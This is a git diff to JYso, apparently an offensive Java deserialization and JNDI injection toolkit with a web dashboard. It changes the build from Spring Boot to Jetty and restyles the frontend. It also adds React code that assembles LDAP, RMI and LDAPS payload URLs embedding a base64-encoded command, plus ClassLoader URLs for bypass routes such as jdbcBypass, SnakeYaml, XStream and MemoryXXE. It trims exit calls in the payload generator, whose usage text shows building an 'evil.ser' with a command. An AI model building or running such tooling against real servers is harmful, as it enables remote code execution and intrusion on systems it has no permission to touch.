diff --git a/build.gradle b/build.gradle
index 67f75ff..96c6c62 100644
--- a/build.gradle
+++ b/build.gradle
@@ -1,12 +1,8 @@
-import com.github.jengelman.gradle.plugins.shadow.transformers.AppendingTransformer
-
plugins {
id 'java'
id 'java-library'
id 'maven-publish'
id 'com.github.johnrengelman.shadow' version '7.1.2'
- id 'org.springframework.boot' version '2.7.18'
- id 'io.spring.dependency-management' version '1.1.7'
}
repositories {
@@ -20,15 +16,6 @@ repositories {
}
}
-bootJar {
- enabled = false
- mainClass = 'com.qi4l.JYso.Starter'
-}
-
-springBoot {
- mainClass = 'com.qi4l.JYso.Starter'
-}
-
jar {
enabled = true
}
@@ -36,14 +23,7 @@ jar {
shadowJar {
archiveClassifier = ''
zip64 = true
- // minimize() // disabled: too many reflection-based libs get broken
mergeServiceFiles()
- transform(AppendingTransformer) {
- resource = 'META-INF/spring.factories'
- }
- transform(AppendingTransformer) {
- resource = 'META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports'
- }
manifest {
attributes 'Main-Class': 'com.qi4l.JYso.Starter'
}
@@ -84,14 +64,13 @@ dependencies {
implementation 'org.apache.commons:commons-text:1.8'
implementation 'org.apache.maven.plugins:maven-assembly-plugin:3.0.0'
implementation 'org.apache.myfaces.core:myfaces-impl:2.2.9'
- implementation 'org.apache.tomcat.embed:tomcat-embed-core'
+ implementation 'org.apache.tomcat:tomcat-catalina:9.0.83'
implementation 'org.apache.tomcat:tomcat-websocket:9.0.83'
implementation 'org.apache.wicket:wicket-util:6.23.0'
implementation 'org.aspectj:aspectjweaver:1.9.7'
implementation 'org.beanshell:bsh:2.0b5'
implementation 'org.clojure:clojure:1.8.0'
implementation 'org.codehaus.groovy:groovy:2.5.23'
- implementation 'org.eclipse.jetty:jetty-ant:11.0.7'
implementation 'org.fusesource.jansi:jansi:2.4.0'
implementation 'org.glassfish.tyrus:tyrus-server:2.0.0'
implementation 'org.hibernate:hibernate-core:4.3.11.Final'
@@ -106,13 +85,13 @@ dependencies {
implementation 'org.ow2.asm:asm:8.0.1'
implementation 'org.python:jython-standalone:2.5.2'
implementation 'org.reflections:reflections:0.9.10'
- implementation 'org.springframework:spring-aop'
- implementation 'org.springframework:spring-beans'
- implementation 'org.springframework:spring-context-support'
- implementation 'org.springframework:spring-core'
- implementation 'org.springframework:spring-jdbc'
- implementation 'org.springframework:spring-oxm'
- implementation 'org.springframework:spring-tx'
+ implementation 'org.springframework:spring-aop:5.3.31'
+ implementation 'org.springframework:spring-beans:5.3.31'
+ implementation 'org.springframework:spring-context-support:5.3.31'
+ implementation 'org.springframework:spring-core:5.3.31'
+ implementation 'org.springframework:spring-jdbc:5.3.31'
+ implementation 'org.springframework:spring-oxm:5.3.31'
+ implementation 'org.springframework:spring-tx:5.3.31'
implementation 'rhino:js:1.7R2'
implementation 'rome:rome:1.0'
implementation 'xerces:xercesImpl:2.12.0'
@@ -146,17 +125,10 @@ dependencies {
implementation 'commons-beanutils:commons-beanutils:1.9.4'
- implementation('org.springframework.boot:spring-boot-starter-web') {
- exclude group: 'org.springframework.boot', module: 'spring-boot-starter-logging'
- exclude group: 'ch.qos.logback'
- }
- implementation('org.springframework.boot:spring-boot-starter-security') {
- exclude group: 'org.springframework.boot', module: 'spring-boot-starter-logging'
- exclude group: 'ch.qos.logback'
- }
+ implementation 'org.eclipse.jetty:jetty-server:9.4.51.v20230217'
+ implementation 'org.eclipse.jetty:jetty-servlet:9.4.51.v20230217'
+ implementation 'org.eclipse.jetty:jetty-util:9.4.51.v20230217'
- runtimeOnly libs.org.aspectj.aspectjweaver
- compileOnly libs.org.apache.tomcat.tomcat.websocket
}
diff --git a/src/main/frontend/src/index.css b/src/main/frontend/src/index.css
index 94976ae..2f5cc79 100644
--- a/src/main/frontend/src/index.css
+++ b/src/main/frontend/src/index.css
@@ -512,6 +512,7 @@ code, pre, .mono {
padding: 3px;
gap: 2px;
transition: background var(--transition-fluid), border-color var(--transition-fluid);
+ min-width: 260px;
}
.tab-segment-control::before {
@@ -535,7 +536,8 @@ code, pre, .mono {
.tab-segment-btn {
position: relative;
z-index: 1;
- padding: 6px 20px;
+ flex: 1;
+ padding: 6px 12px;
border: none;
border-radius: 9px;
background: transparent;
@@ -548,6 +550,7 @@ code, pre, .mono {
white-space: nowrap;
letter-spacing: -0.2px;
-webkit-tap-highlight-color: transparent;
+ text-align: center;
}
.tab-segment-btn:active {
@@ -584,6 +587,27 @@ code, pre, .mono {
.config-form .btn { grid-column: span 2; margin-top: 14px; }
+.gadget-dropdown {
+ position: absolute;
+ top: 100%;
+ left: 0;
+ right: 0;
+ z-index: 50;
+ background: var(--card-bg);
+ backdrop-filter: blur(24px) saturate(180%);
+ -webkit-backdrop-filter: blur(24px) saturate(180%);
+ border: 1px solid var(--border-color);
+ border-radius: 12px;
+ box-shadow: var(--card-shadow-lg);
+ overflow: hidden;
+ animation: dropdownSlideIn 180ms cubic-bezier(0.22, 0.1, 0, 1) both;
+}
+
+@keyframes dropdownSlideIn {
+ from { opacity: 0; transform: translateY(-4px) scale(0.985); }
+ to { opacity: 1; transform: translateY(0) scale(1); }
+}
+
.gadget-list {
max-height: 280px;
overflow-y: auto;
@@ -643,11 +667,6 @@ label.form-group {
cursor: pointer;
}
-.pill-sun, .pill-moon {
- font-size: 15px;
- line-height: 1;
-}
-
@media (max-width: 768px) {
.page-shell { padding: 48px 16px 32px; }
.grid-2 { grid-template-columns: 1fr; }
diff --git a/src/main/frontend/src/pages/Dashboard.jsx b/src/main/frontend/src/pages/Dashboard.jsx
index 9f89c88..a20839c 100644
--- a/src/main/frontend/src/pages/Dashboard.jsx
+++ b/src/main/frontend/src/pages/Dashboard.jsx
@@ -15,11 +15,28 @@ export default function Dashboard() {
const [loading, setLoading] = useState(false)
const [msg, setMsg] = useState({ success: '', error: '' })
const [toggling, setToggling] = useState(null)
+ const [activeJndiTab, setActiveJndiTab] = useState('config')
const [gadgets, setGadgets] = useState([])
const [gadgetSearch, setGadgetSearch] = useState('')
const [selectedGadget, setSelectedGadget] = useState('')
const [payloadCmd, setPayloadCmd] = useState('')
const [payloadResult, setPayloadResult] = useState('')
+ const [payloadSubTab, setPayloadSubTab] = useState('gadget')
+ const [gadgetOpen, setGadgetOpen] = useState(false)
+ const [jndiPayloadResult, setJndiPayloadResult] = useState('')
+ const [rmiPayloadResult, setRmiPayloadResult] = useState('')
+ const [ldapsPayloadResult, setLdapsPayloadResult] = useState('')
+ const [jndiGadgetInput, setJndiGadgetInput] = useState('')
+ const [gadgetModeInput, setGadgetModeInput] = useState('')
+ const [saveFilename, setSaveFilename] = useState('')
+ const [filePath, setFilePath] = useState('')
+ const [classLoaderResult, setClassLoaderResult] = useState('')
+ const [rmiClassLoaderResult, setRmiClassLoaderResult] = useState('')
+ const [ldapsClassLoaderResult, setLdapsClassLoaderResult] = useState('')
+ const [routing, setRouting] = useState('ELProcessor')
+ const [routingOpen, setRoutingOpen] = useState(false)
+
+ const ROUTING_OPTIONS = ['Basic', 'ELProcessor', 'Groovy', 'jdbcBypass1', 'jdbcBypass2', 'ldap2rmi', 'SnakeYaml', 'XStream', 'MemoryXXE']
const [configForm, setConfigForm] = useState({
ip: '', ldapPort: 1389, ldapsPort: 1669, httpPort: 3456, rmiPort: 1099,
@@ -98,10 +115,12 @@ export default function Dashboard() {
}
async function handleGeneratePayload() {
+ const gadgetName = (gadgetModeInput || selectedGadget || '').trim()
+ if (!gadgetName) return
setLoading(true)
setMsg({ success: '', error: '' })
try {
- const res = await apiGenerate({ gadget: selectedGadget, command: payloadCmd })
+ const res = await apiGenerate({ gadget: gadgetName, command: payloadCmd, filename: saveFilename })
if (res.data.success) {
setPayloadResult(res.data.message || 'Payload generated successfully')
setMsg({ success: 'Payload generated', error: '' })
@@ -114,6 +133,68 @@ export default function Dashboard() {
} finally { setLoading(false) }
}
+ function handleGenerateJndiPayload() {
+ const gadgetName = (jndiGadgetInput || selectedGadget || '').trim()
+ if (!gadgetName || !payloadCmd) return
+ setLoading(true)
+ setMsg({ success: '', error: '' })
+ setJndiPayloadResult('')
+ setRmiPayloadResult('')
+ setLdapsPayloadResult('')
+ try {
+ const bytes = new TextEncoder().encode(payloadCmd)
+ const cmdB64 = btoa(String.fromCharCode.apply(null, bytes))
+ const ipAddr = configForm.ip || '0.0.0.0'
+ const ldapPort = configForm.ldapPort || 1389
+ const rmiPort = configForm.rmiPort || 1099
+ const ldapsPort = configForm.ldapsPort || 1669
+
+ const ldapUrl = `ldap://${ipAddr}:${ldapPort}/Deserialization/${gadgetName}/command/Base64/${cmdB64}`
+ const rmiUrl = `rmi://${ipAddr}:${rmiPort}/Deserialization/${gadgetName}/command/Base64/${cmdB64}`
+ const ldapsUrl = `ldaps://${ipAddr}:${ldapsPort}/Deserialization/${gadgetName}/command/Base64/${cmdB64}`
+
+ setJndiPayloadResult(ldapUrl)
+ setRmiPayloadResult(rmiUrl)
+ setLdapsPayloadResult(ldapsUrl)
+ setMsg({ success: 'Payload URLs generated', error: '' })
+ } catch (e) {
+ setMsg({ success: '', error: 'Failed to generate URL' })
+ } finally { setLoading(false) }
+ }
+
+ function handleGenerateClassLoader() {
+ const fp = filePath.trim()
+ const route = routing.trim()
+ if (!fp || !route) return
+ setLoading(true)
+ setMsg({ success: '', error: '' })
+ setClassLoaderResult('')
+ setRmiClassLoaderResult('')
+ setLdapsClassLoaderResult('')
+ if (!fp.toLowerCase().endsWith('.class')) {
+ setMsg({ success: '', error: 'File path must end with .class' })
+ setLoading(false)
+ return
+ }
+ try {
+ const ipAddr = configForm.ip || '0.0.0.0'
+ const ldapPort = configForm.ldapPort || 1389
+ const rmiPort = configForm.rmiPort || 1099
+ const ldapsPort = configForm.ldapsPort || 1669
+
+ const ldapUrl = `ldap://${ipAddr}:${ldapPort}/${route}/M-LF-${fp}`
+ const rmiUrl = `rmi://${ipAddr}:${rmiPort}/${route}/M-LF-${fp}`
+ const ldapsUrl = `ldaps://${ipAddr}:${ldapsPort}/${route}/M-LF-${fp}`
+
+ setClassLoaderResult(ldapUrl)
+ setRmiClassLoaderResult(rmiUrl)
+ setLdapsClassLoaderResult(ldapsUrl)
+ setMsg({ success: 'ClassLoader URLs generated', error: '' })
+ } catch (e) {
+ setMsg({ success: '', error: 'Failed to generate URL' })
+ } finally { setLoading(false) }
+ }
+
function logout() {
setAuthToken(null)
navigate('/login', { replace: true })
@@ -152,14 +233,7 @@ export default function Dashboard() {
onClick={toggleTheme}
aria-label={theme === 'light' ? 'Switch to dark mode' : 'Switch to light mode'}
title={theme === 'light' ? 'Dark mode' : 'Light mode'}
- >
-
- ☀️
-
-
- 🌙
-
-
+ />
@@ -218,8 +292,26 @@ export default function Dashboard() {
-
Config
-
+
+
+
+
+
+
+
+ {activeJndiTab === 'config' && (
+
+
+ )}
+
+ {activeJndiTab === 'payload' && (
+
+
+
+
+
+
+
+
+ {payloadSubTab === 'gadget' && (
+
+
+
+
+ setGadgetOpen(true)}
+ onBlur={() => setTimeout(() => setGadgetOpen(false), 150)}
+ onChange={e => { setJndiGadgetInput(e.target.value); setGadgetSearch(e.target.value); }}
+ style={{ cursor: 'text' }}
+ />
+
+ {gadgetOpen && (
+
+
+ {filteredGadgets.map(g => (
+
{ e.preventDefault(); setSelectedGadget(g.name); setJndiGadgetInput(g.name); setGadgetSearch(g.name); setGadgetOpen(false); }}>
+ {g.name}
+
+ ))}
+
+
+ )}
+
+
+
+
+
+ {jndiPayloadResult && (
+
{jndiPayloadResult}
+ )}
+ {rmiPayloadResult && (
+
{rmiPayloadResult}
+ )}
+ {ldapsPayloadResult && (
+
{ldapsPayloadResult}
+ )}
+
+ )}
+
+ {payloadSubTab === 'classloader' && (
+
+
+
+
+ setRoutingOpen(true)}
+ onBlur={() => setTimeout(() => setRoutingOpen(false), 150)}
+ onChange={e => setRouting(e.target.value)}
+ style={{ cursor: 'text' }}
+ />
+
+ {routingOpen && (
+
+
+ {ROUTING_OPTIONS.map(opt => (
+
{ e.preventDefault(); setRouting(opt); setRoutingOpen(false); }}>
+ {opt}
+
+ ))}
+
+
+ )}
+
+
+
+ setFilePath(e.target.value)} />
+
+
+ {classLoaderResult && (
+
{classLoaderResult}
+ )}
+ {rmiClassLoaderResult && (
+
{rmiClassLoaderResult}
+ )}
+ {ldapsClassLoaderResult && (
+
{ldapsClassLoaderResult}
+ )}
+
+ )}
+
+ )}
>
)}
@@ -287,40 +501,50 @@ export default function Dashboard() {
{mode === 'gadget' && (
Payload Generator
-
-
-
- Select Gadget
-
-
- setGadgetSearch(e.target.value)} />
-
-
- {filteredGadgets.map(g => (
-
setSelectedGadget(g.name)}>
- {g.name}
-
- ))}
-
+
+
+
+ setGadgetOpen(true)}
+ onBlur={() => setTimeout(() => setGadgetOpen(false), 150)}
+ onChange={e => { setGadgetModeInput(e.target.value); setGadgetSearch(e.target.value); }}
+ style={{ cursor: 'text' }}
+ />
-
+
+
+
+
+
+ setSaveFilename(e.target.value)} />
+
+
+ {payloadResult && (
+
{payloadResult}
+ )}
)}
diff --git a/src/main/java/com/qi4l/JYso/gadgets/Config/Config.java b/src/main/java/com/qi4l/JYso/gadgets/Config/Config.java
index 129e2df..5332eef 100644
--- a/src/main/java/com/qi4l/JYso/gadgets/Config/Config.java
+++ b/src/main/java/com/qi4l/JYso/gadgets/Config/Config.java
@@ -115,12 +115,6 @@ public class Config {
for (String line : lines) {
System.out.println(" " + line);
}
-
- System.exit(0);
- }
-
- if (showVersion) {
- System.exit(0);
}
//获取当前 Jar 的名称
@@ -129,7 +123,6 @@ public class Config {
if (help) {
jc.usage(); //if -h specified, show help and exit
- System.exit(0);
}
// 特别注意:最后一个反斜杠不能少啊
diff --git a/src/main/java/com/qi4l/JYso/gadgets/Config/ysoserial.java b/src/main/java/com/qi4l/JYso/gadgets/Config/ysoserial.java
index 6230164..e203029 100644
--- a/src/main/java/com/qi4l/JYso/gadgets/Config/ysoserial.java
+++ b/src/main/java/com/qi4l/JYso/gadgets/Config/ysoserial.java
@@ -17,7 +17,6 @@ import java.nio.file.Paths;
import java.util.*;
import static com.qi4l.JYso.gadgets.Config.Config.logo;
-import static com.qi4l.JYso.gadgets.utils.StringUtil.isFromExploit;
public class ysoserial {
@@ -88,7 +87,6 @@ public class ysoserial {
System.err.println("Invalid payload type '" + payloadType + "'");
printUsage(options);
System.exit(1);
- return;
}
@@ -104,12 +102,6 @@ public class ysoserial {
object = new DirtyDataWrapper(object, type, length).doWrap();
}
- // 储存生成的 payload
- PAYLOAD = object;
- if (isFromExploit()) {
- return;
- }
-
OutputStream out;
if (Config.WRITE_FILE) {
@@ -183,7 +175,6 @@ public class ysoserial {
System.err.println("Recommended Usage: -y -g [payload] -p '[command]' -dt 1 -dl 50000 -o -i -f evil.ser");
System.err.println("If you want your payload being extremely short,you could just use:");
System.err.println("java -jar JYso-[version].jar -y -g [payload] -p '[command]' -i -f evil.ser");
- System.exit(0);
}
}
diff --git a/src/main/java/com/qi4l/JYso/gadgets/JRE8u20.java b/src/main/java/com/qi4l/JYso/gadgets/JRE8u20.java
index de961f4..8d8eb0a 100644
--- a/src/main/java/com/qi4l/JYso/gadgets/JRE8u20.java
+++ b/src/main/java/com/qi4l/JYso/gadgets/JRE8u20.java
@@ -96,7 +96,6 @@ public class JRE8u20 implements ObjectPayload